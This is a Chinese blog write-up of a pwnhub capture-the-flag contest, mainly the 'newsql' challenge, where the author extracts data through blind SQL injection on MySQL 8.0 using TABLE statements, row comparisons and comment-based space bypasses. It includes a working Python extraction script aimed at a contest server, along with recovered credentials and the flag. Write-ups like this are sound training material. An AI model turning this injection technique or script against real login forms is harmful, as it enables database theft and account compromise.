0%

pwnhub7月公开赛

pwnhub7月公开赛

由于长时间的逃避SQL注入导致我现在又是一个SQL注入废物,以前做过的东西也记不清了

newsql

提示使用SQL8.0的新操作

简单测一下发现有报错,过滤的比较关键的东西有select,去掉这个战斗力减少100%,给了报错但是extractvalue之类的函数也没了,sleep也没了,不过很明显的登录成功时状态码200,失败时状态码500。
出题人似乎还想用登录成功就直接重定向到home的界面来迷惑我,但是好像有点太直接了,反手一个python发包搞定
以前应该是做过SQL8.0的题目的,一时间想不起来了,后来翻了半天发现是去年年底的嘶吼SQL大礼包里面有一个8.0的table语句加行比较操作进行注入,这么一来就简单了。既然是学过的东西复现一下就能搞定,把嘶吼的垃圾脚本翻出来改改,慢悠悠的注就行
嘶吼的wp
RoarCTF2020wp
再补一个mysql8.0的操作
MySQL8.0绕过手段

注出来的flag不知道是不是真flag。。。长得有点诡异,然后反过来去注用户,确实有第二个用户,不过登录了一下发现好像也没什么变化,就拉倒了

附上垃圾脚本

import requests

# 空格 # = > like union select database () sleep extractvalue
url = "http://47.99.38.177:10084/"
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}`"

db_name = "ctf"  # mysql information_schema performand sys ctf
table_name = "f1aggghere"  # f1aggghere      users
column_name = ""    # ID FLAG 2列    id username password 三列
content = ""        # TH1S1STHEFL0GGGTH0TY0UA1WAYSW0NT         1 admin admin123    2 whoami whoami369
for i in range(40):
    # for c in charset:
    for c in range(48, 123):
        # 当前字符相等时比较下一位,故仍是小于,需大于时才能确定,故下面需要-1,表名ctf排第一,所以直接以表名排序
        # payload = "123' or ('def','{}','',4,5,6)<(table information_schema.schemata limit 4,1)#".replace(' ', '/**/').format(db_name + c)
        # payload = "123' or ('def','{}','{}','',5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1)<(table information_schema.tables order by table_schema limit 1,1)#".replace(' ', '/**/').format(db_name, table_name + c)
        # payload = "123' or ('def','{}','{}','{}','',6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)<(table information_schema.columns order by table_schema limit 2,1)#".replace(' ', '/**/').format(db_name, table_name, column_name + c)
        payload = "123' or (1, 0x{})<(table {} limit 0,1)#".replace(' ', '/**/').format(content + "{:02X}".format(c), table_name)
        print(payload)
        data = {"username": "admin", "password": payload}
        res = requests.post(url, data=data)
        # print(res.text)
        if res.status_code != 200:
            content += "{:02X}".format(c-1)
            print(content)
            break

使用垃圾脚本的时候还是踩了一两个坑,table_schema是库名,就6列,table_name表名,21列,columns_name列名,22列。实际上列名没什么用,到时候猜一下有几列都行,反正给了报错
当注入对比的是行的最后一个字段时,最后一位跑出来的结果应当+1,因为之前的都给我减了个1,如果不是最后一个字段的话就简单的令下一个字段为空字符串,小于一切
第一列稳定是’def’,第二列就是库名,第三列表名,第四列列名,边注入记得边更新,然后还可以使用对库名排序的方式来快速定位到表的字段位置,列名没什么用。不如不注节约时间
注数据的时候如果第一列是ID,用字符也没什么问题,反正弱类型数字1和字符1也相等

最后注flag时用的16进制能区分大小写,"{:02X}".format(c)是我学的全新操作,快速做到十进制十六进制转换,强有力且方便
嘶吼的wp中我有提到用binary区分大小写,但是后来发现那是只有一列的时候才能用的操作,那次刚好flag就一列所以能用

后话

以上是交给pwnhub的wp,现在我有一点简单的吐槽。
首先是这个必须交wp才能交flag这个操作,着实有点坑,搞得我一开始注出来这个奇怪的东西也不知道对不对,还去把users表也打了一遍
其次是flag我为了区分大小写还专门把payload换成了16进制,注出来的flag是全大写的,最后交了好几次发现flag其实是小写的,这个是真的坑嗷

mysql> select ('1', 0x60)<(1,'a'); 0 1 +---------------------+ | ('1', 0x60)<(1,'a') row in set (0.00 sec) mysql> select ('1', 0x60)<(1,'a'); 1 +---------------------+ | ('1', 0x60)<(1,'a') row in set (0.00 sec) < code>

再次,flag还要套上flag,但是并没有什么说明文档说明这一点,交flag的时候感觉自己像个小丑在一点点猜

PyPrint

这个题能传一个python脚本上去然后给你运行一下输出结果,题目是这么写的,然后题目会告诉你他只认print和#,但事实上我的测试结果是他只认#,其他的咋输入都会报错只认得print和#。。。。
然后无论是报错还是只有#执行成功,输出都会把以#开头的一行去掉。但说实话,还有一个功能我都不知道该怎么用,已经给我看傻了。这个题目有点奇怪

咕了,事情还没做完呢